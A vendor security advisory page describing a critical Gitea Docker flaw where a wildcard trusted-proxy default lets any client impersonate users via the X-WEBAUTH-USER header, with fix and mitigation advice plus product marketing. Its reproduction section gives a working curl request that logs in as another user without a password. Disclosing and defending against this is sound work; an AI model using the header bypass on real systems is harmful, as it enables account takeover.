GHSA-f75j-4cw6-rmx4 is a critical-severity (CVSS 9.8) CWE-284 vulnerability in code.gitea.io/gitea. 3 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-f75j-4cw6-rmx4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email [email protected] --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.26.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
szybnev/cve-2026-20896-gitea-poc
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER auth bypass checker
rz1027/CVE-2026-20896
Public PoC and detector for CVE-2026-20896 ("Gitea Docker: One Header, A
XaocZenon/CVE-2026-20896
this is a modified POC of rz1027 for CVE-2026-20896
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f75j-4cw6-rmx4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f75j-4cw6-rmx4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f75j-4cw6-rmx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f75j-4cw6-rmx4 in your dependencies?
O3 detects GHSA-f75j-4cw6-rmx4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.